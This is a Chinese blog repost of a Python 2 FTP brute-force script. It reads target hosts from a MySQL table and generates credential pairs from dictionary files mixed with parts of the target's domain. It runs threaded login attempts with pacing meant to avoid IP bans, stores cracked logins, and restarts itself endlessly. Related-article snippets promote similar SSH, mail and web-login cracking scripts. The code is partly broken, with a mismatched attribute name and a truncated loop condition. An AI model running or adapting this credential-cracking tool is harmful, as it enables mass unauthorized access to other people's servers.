python爆破脚本_Python FTP爆破脚本

最新推荐文章于 2024-04-07 19:34:36 发布
最新推荐文章于 2024-04-07 19:34:36 发布
阅读量446 收藏
点赞数
文章标签： python爆破脚本
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_39820177/article/details/111429885
版权

Python FTP爆破脚本

#!/usr/local/bin/python

#-*- coding: UTF-8 -*-

####################################################################

#qq:316118740

#BLOG:http://hi.baidu.com/alalmn

from ftplib import FTP

import time

import threading

import socket

socket.setdefaulttimeout(10)  #设置了全局默认超时时间

####################################################################

#要添加这个  检测过程充分考虑了部分FTP Server的错误阈值       要写上去

#def ftp_open(host,user,passwd,port=21):  #打开FTP

#    try:

#        ftp = FTP(host)

#        ftp.connect(host,port)  #连接 服务器名  端口号

#        ftp.login(user,passwd)

#        ftp.quit()  #ftpB.quit() #退出ftp服务器

#        return 1

#    except:

#        return 0

def mysql_select2(data):  #模糊查询

try:

i=0

n = mysql.cursor.execute(data)

mysql.cursor.scroll(0)

for row in mysql.cursor.fetchall():

#print '%s-%s-%s'%(row[0],row[1],row[2])

#return row[0]

if i>=5:

return i

i=i+1

return 0

except:

return 0

class ftp_open(threading.Thread):

def __init__(self,cond,host,user,pwd):

super(ftp_open, self).__init__()

self.Chost=host

#self.Cport=21

self.Cuser=user

self.Cpwd=pwd

def run(self):

ftp = FTP()

try:

#ftp = FTP(self.Chost)

ftp.connect(self.Chost,21)  #连接 服务器名  端口号

ftp.login(self.Cuser,self.Cpasswd)

#ftp.quit()  #ftpB.quit() #退出ftp服务器

##############################

print u"\nIP:",self.Chost,u"用户名:",self.Cuser,u"密码:",self.Cpasswd,u"连接成功"

#            sqlA="select * from ftppassword where IP='%%%s'"%self.Chost

#            if mysql_select2(sqlA):  #模糊查询

#                print self.Chost,u"域名下已经有5组密码了不进行天际",

#                return 0

sql = "insert into ftppassword(IP,user,password,time) values('%s','%s','%s','%s')"%(self.Chost,self.Cuser,self.Cpasswd,time.strftime('%Y.%m.%d-%H.%M.%S'))

#print sql

mysql.mysql_insert(sql) #添加到数据库

mysql.mysql_S()  #保存数据

#文件的写入   测试

xxx=file('123.txt','w')

xxx.write(self.Chost)

xxx.write(self.Cuser)

xxx.write(self.Cpasswd)

xxx.write(time.strftime('%Y.%m.%d-%H.%M.%S'))

xxx.write('enter\n')

xxx.close()

ftp.quit() #退出ftp服务器

#            try:

#                ftp.quit() #退出ftp服务器

#            except:

#                print u"ftp_open-FTP退出异常-1",

#                ftp.close()

##############################

return 1

except:

print u".",

ftp.quit() #退出ftp服务器

#            try:

#                ftp.quit() #退出ftp服务器

#            except:

#                print u"ftp_open-FTP退出异常",

#                ftp.close()

return 0

####################################################################

def get_sdomain(domain):  #域名拆解baidu.com/" data-ke-src="http://www.baidu.com->baidu.com">www.baidu.com->baidu.com

suffixes = 'ac', 'ad', 'ae', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'arpa', 'as', 'asia', 'at', 'au', 'aw', 'ax', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo', 'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cat', 'cc', 'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop', 'cr', 'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do', 'dz', 'ec', 'edu', 'ee', 'eg', 'er', 'es', 'et', 'eu', 'fi', 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gov', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it', 'je', 'jm', 'jo', 'jobs', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me', 'mg', 'mh', 'mil', 'mk', 'ml', 'mm', 'mn', 'mo', 'mobi', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om', 'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr', 'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'rs', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si', 'sj', 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td', 'tel', 'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw', 'tz', 'ua', 'ug', 'uk', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xn', 'ye', 'yt', 'za', 'zm', 'zw'

sdomain = []

bdomain = False

for section in domain.split('.'):

if section in suffixes:

sdomain.append(section)

bdomain = True

else:

sdomain = [section]

return '.'.join(sdomain) if bdomain  else ''

def get_ssdomain(domain):  #域名拆解baidu/" data-ke-src="http://www.baidu.com->baidu">www.baidu.com->baidu

sdomain = get_sdomain(domain)  #先解析一道

ssdomian = sdomain.partition('.')[0] if sdomain else ''

return ssdomian

from collections import defaultdict, deque

def FTP_username(host):  #导入密码组合方式

try:

if host == '':  #传入值等于空   返回

print u"传入地址不能为空"

time.sleep(3) #确保先运行Seeker中的方法

sql_sel()   #SQL查询

return 0

##########################

a=random.randrange(1,3)   #产生一个随机数8以内的

time.sleep(a) #确保先运行Seeker中的方法

#如果检测不到了  还能连接就退出

try:

ftpB = FTP()  #初始化FTP类

ftpB.connect(host,21)  #连接 服务器名  端口号

try:

ftpB.quit() #退出ftp服务器

except:

print u"FTP_username-FTP退出异常"

ftpB.close()

#SQL修改数据

if sql_up(host,"send"):

print host,u"服务器FTP21端口开放-修改成功",

print u"(∩_∩)"  #添加成功

else:

print host,u"服务器FTP21端口开放-修改失败",

print u"(╯▽╰)"  #添加失败

sql_sel()   #SQL查询

return 0

except:

print host,u"服务器FTP21端口可能没有开放",

sql_up(host,"no21") #SQL修改数据

sql_sel()   #SQL查询

return 0

##########################

WEAK_USERNAME = [p.replace('\n','') for p in open('username.dic').readlines()]

WEAK_PASSWORD = [p.replace('\n','') for p in open('password.dic').readlines()]

accounts =deque()   #list数组

#得到sdomain和ssdomain

domain = host

sdomain = get_sdomain(domain)  #域名拆解baidu.com/" data-ke-src="http://www.baidu.com->baidu.com">www.baidu.com->baidu.com

ssdomain = get_ssdomain(domain)  #域名拆解baidu/" data-ke-src="http://www.baidu.com->baidu">www.baidu.com->baidu

##################################################################

#准备 用户名和密码

for username in WEAK_USERNAME:   #导入用户名#WEAK_USERNAME=username.dic

if  '%domain%' in username or '%sdomain%' in username or '%ssdomain%' in username:

if sdomain=='':

continue  #跳过

else:

username = username.replace('%domain%',domain)  #返回根据正则表达式进行文字替换后的字符串的复制

username = username.replace('%sdomain%',sdomain)

username = username.replace('%ssdomain%',ssdomain)

for password in WEAK_PASSWORD:   #导入密码#WEAK_PASSWORD=password.dic

if '%domain%' in password or '%sdomain%' in password or '%ssdomain%' in password:

if sdomain=='':

continue  #跳过

else:

password = password.replace('%domain%',domain)

password = password.replace('%sdomain%',sdomain)

password = password.replace('%ssdomain%',ssdomain)

password = password.replace('%null%','')

password = password.replace('%username%',username)

if (username,password) not in accounts:#list数组

accounts.append((username,password))#添加到 list数组

##################################################################

print u"组合出",len(accounts),u" 次密码"

if not accounts:   #数组无数据了就跳出

print u"数组无数据"

#在从新读取

sql_sel()   #SQL查询

return 0

#        print accounts[12]  #('ftp', '90money90money.com')

#        print accounts[12][0]  #ftp

#        print accounts[12][1]  #90money90money.com

I2 = 0 #得到list的第一个元素

p_p_p=0

print u"扫描网站FTP:%s 开始"% host,

while I2 

#            if accounts[I2][0]=='':

#                continue  #跳过

#            if accounts[I2][1]=='':

#                continue  #跳过

##########################

#当做心跳包使用  如果检测不到了  还能连接就退出

#防止人家屏蔽IP   10次检测一次心跳

try:

if p_p_p>=50:

print "_-_",

ftpB = FTP()  #初始化FTP类

ftpB.connect(host,21)  #连接 服务器名  端口号

ftpB.quit() #退出ftp服务器

p_p_p=0

p_p_p=p_p_p+1

except:

print u"检测心跳包----心跳停止"

#sql_sel()   #SQL查询

return 0

##########################

time.sleep(0.5) #确保先运行Seeker中的方法

try:

cond = threading.Event()

hider = ftp_open(cond,host,accounts[I2][0],accounts[I2][1])

hider.start()

except:

print u"测试FTP URL异常！！！！！",

##########################

#print u"IP:",host,u"用户名:",accounts[I2][0],u"密码:",accounts[I2][1]

I2 = I2 + 1  #二层

time.sleep(5) #确保先运行Seeker中的方法

print u"密码组合测试完成重新导入"

sql_sel()   #SQL查询

##################################################################

except:

print u"导入密码组合方式异常目录下可能是无password.dic/username.dic文件"

sql_sel()   #SQL查询

return 0

####################################################################

####################################################################

import mysql #数据库操作文件

import time

import random  #产生一个随机数

def sql_up(url,data): #SQL修改数据

try:

up = "update  ftp set  ftpsend='%s' where url='%s'"%(data.encode('utf-8'),url)

if mysql.mysql_update(up):  #修改数据

print url,u"修改数据库",data,u"成功\n"

mysql.mysql_S()  #保存数据

#a=random.randrange(1,4)   #产生一个随机数8以内的

#time.sleep(a) #确保先运行Seeker中的方法

return 1

else:

print url,u"修改数据库",data,u"失败\n"

mysql.mysql_S()  #保存数据

#b=random.randrange(5,15)   #产生一个随机数8以内的

#time.sleep(b) #确保先运行Seeker中的方法

return 0

#mysql.mysql_S()  #保存数据

except:

return 0

def sql_sel(): #SQL查询

try:

a=random.randrange(1,8)   #产生一个随机数8以内的

time.sleep(a) #确保先运行Seeker中的方法

sql="select * from ftp where ftpsend is NULL limit 1"

mysql.cursor.execute(sql)

mysql.cursor.scroll(0)

for row in mysql.cursor.fetchall():

FTP_username(row[0])  #导入密码组合方式

except:

print u"SQL读取URL异常！！！！！"

#print u"3秒后,程序将结束重启..."

mysql.mysql_S()  #保存数据

mysql.mysql_close()  #关闭数据库

#close()  #自动重启本程序

atexit.register(close)#自动重启本程序

####################################################################

import sys

import os

import atexit

def close():  #自动重启本程序

try:

print u"3秒后,程序将结束重启..."

print u"自动重启本程序"

time.sleep(3)

python = sys.executable

os.execl(python, python, * sys.argv)

#########

except:

sys.exit(0)  #结束进程

if __name__=='__main__':

#    host= "127.0.0.1"

#    FTP_username(host)  #导入密码组合方式

#    mysql.mysql_open()  #连接数据库

#    sql_sel()   #SQL查询

#FTP_username("127.0.0.1")  #导入密码组合方式

try:

#print __doc__

mysql.mysql_open()  #连接数据库

sql_sel()   #SQL查询

except:

atexit.register(close)

KBK影院

99篇文章，17W+人气，0粉丝

weixin_39820177
关注
FTP爆破攻击：使用Python脚本快速测试FTP服务器的安全性
weixin_43263566的博客
05-30 1853
使用Python脚本进行FTP暴力破解
python之——使用python编写爆破脚本
12-21
此处以dvwa网站的密码爆破为例 #coding:utf-8 """ dvwa高级爆破 需要用户名 密码 token cookie 每次通过账号密码访问之前，需要获取token """ import urllib2 from bs4 import BeautifulSoup def getToken(): """提取token""" url="http://localhost/DVWA-master/vulnerabilities/brute/" req=urllib2.Request(url,headers={"Cookie":"security=high;PHP
Python FTP爆破脚本
weixin_33982670的博客
11-09 240
#!/usr/local/bin/python #-*-coding:UTF-8-*- #################################################################### #qq:316118740 #BLOG:http://hi.baidu.com/alalmn fromftplibimportFTP im...
Python脚本暴力破解FTP口令(ftplib)
谢公子的博客
11-04 4028
目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境：Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 。 判断FTP服务器是否允许匿名登录 以下代码是判断FTP服务器是否允许匿名登录 我们写了一个anonLogin() 函数，使用 ftp.login()方法进行匿名登录，如果没有抛出...
python版ftp、ssh、msyql爆破脚本
东方欲晓的晓东的博客
06-26 1489
开源地址 https://github.com/dongfangyuxiao/py-study/tree/master/py-study/practice/crack 闲暇之余，写了几个爆破的小脚本，可用于爆破ftp ssh mysql 后续继续集合在一起，再加上webloigc、jboss等常见的服务 代码如下： ftp !/usr/bin/env python -- ...
python邮箱爆破_python制作企业邮箱的爆破脚本
weixin_39908082的博客
01-30 630
按照师傅给的任务，写了一个企业邮箱的爆破脚本，后续还有FTP,SSH等一些爆破的脚本。我先说下整体思路：总体就是利用python的poplib模块来从pop3服务器上交互，根据获取的相关信息，产生结果。POP3协议并不复杂，它也是采用的一问一答式的方式，你向服务器发送一个命令，服务器必然会回复一个信息.1.首先验证参数是否正确Sys.argv[]是用来获取命令行参数的，sys.argv[0]表示代...
ftp暴力破解 python脚本
12-24
ftp暴力破解 python脚本
Python脚本暴力破解栅栏密码
09-21
在渗透测试当中，免不了要进行密码破解。本文通过好几种方法给大家介绍python密码破解，有通用脚本，FTP暴力破解脚本，SSH暴力破解，TELNET密码暴力破解，感兴趣的朋友一起学习吧
python脚本爆破shell
06-14
python脚本爆破shell
Python批量爆破ftp账号密码
12-04
Python,批量,爆破,ftp密码
kali运行python脚本_Python脚本--爆破SSH
weixin_39614146的博客
12-05 1183
利用Pxssh是pexpect库的ssh专用脚本环境：kali代码：'''Author:yw'''from pexpect import pxsshimport optparsefrom threading import *Max_Connect = 5connection_lock = BoundedSemaphore(value=Max_Connect)def connect(host, us...
python开发poc2，爆破脚本
最新发布
san3144393495的博客
04-07 910
异或就是把一个字符转换成ascii码值的二进制在，然后和另外同样方式转换的二进制，每一位都对上的如果两个对上的数相同就输出0，不同就输出1，结果就是两个数异或后的值，在转换为ascii码值之后在找到对应的字符，就是异或完最后的结果，这里刚好有一个比较凑巧的结果。---掌握利用强大的模块实现各种协议连接操作(爆破或利用等)，配合 Fuzz 吊打 WAF 等。---通过异或运算，分别批量替换a,s,s,e,r,t，进而构造命令执行函数。---两个二进制异或为：01100001，对应十进制为：97。
python制作企业邮箱的爆破脚本
人生苦短， 还不用Python？
04-08 1406
我先说下整体思路： 总体就是利用python的poplib模块来从pop3服务器上交互，根据获取的相关信息，产生结果。POP3协议并不复杂，它也是采用的一问一答式的方式，你向服务器发送一个命令，服务器必然会回复一个信息. 1.首先验证参数是否正确 Sys.argv[]是用来获取命令行参数的，sys.argv[0]表示代码本身文件路径，所以参数从1开始 2.然后从用户密码文件中读取信...
python3登录爆破脚本
deng_menglihua的博客
09-17 2834
登录爆破脚本 以下地址是我自己的DVWA靶场的地址，欢迎大家交流学习。 1.post型登录框爆破脚本 import requests s='0123456789' url="http://10.16.102.162/DVWA/vulnerabilities/brute/?" m=0 n=1 username=input("请输入用户名") data2={'username':username,'password':00000,'Login':'Login'} headers={'cookie':'secur
python爆破定长密码脚本
baikeng3674的博客
02-04 167
def get_pwd(str, num):#str为可选字符集，num为密码长度 if(num == 1): for x in str: yield x else: for x in str: for y in get_pwd(str, num...
绕过token进行密码爆破（包含python攻击脚本）
weixin_43960066的博客
07-30 1400
设置完毕以后开始爆破，时间取决于你的字典，如果是1个线程还没有办法爆破成功，可能是你的字典里面没有这个密码，在爆破页面我们将返回长度按照从大到小排列，就可以看到爆破成功的密码和其他的米密码长度不同。Token其实说的更通俗点可以叫暗号，在一些数据传输之前，要先进行暗号的核对，不同的暗号被授权不同的数据操作。6.服务端收到请求，然后去验证客户端请求里面带着的 Token，如果验证成功，就向客户端返回请求的数据。选择需要抓取的Token的内容，同时设置和响应中相同的参数名字，点击OK。
ftp爆破(python脚本)
aixuan9365的博客
06-23 245
最近在乌云看到一份端口详解：为了锻炼自己，按照端口详解写脚本 #!/usr/local/bin/ python #-*- coding: UTF-8 -*- __author__ = '' from ftplib import FTP import ftplib from gevent.pool import Pool threads_c...
Python FTP爆破代码
m0_68970414的博客
03-31 3722
仅供学习，若用于非法场景后果自负。 # encoding: utf-8 from ftplib import FTP def UserDictionary(): print("搜索用户字典...") try: user=open("./user.txt",'r') print("打开用户字典成功") return user except Exception: print('''未找到用户字典，\n请将...
python ssh 爆破_ssh爆破(python脚本)
05-16
SSH爆破是指通过尝试不同的用户名和密码组合来破解SSH服务的登录密码，以下是一个简单的Python脚本实现SSH爆破： ```python import paramiko import sys # 定义需要尝试的用户名和密码列表 usernames = ['root'] ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值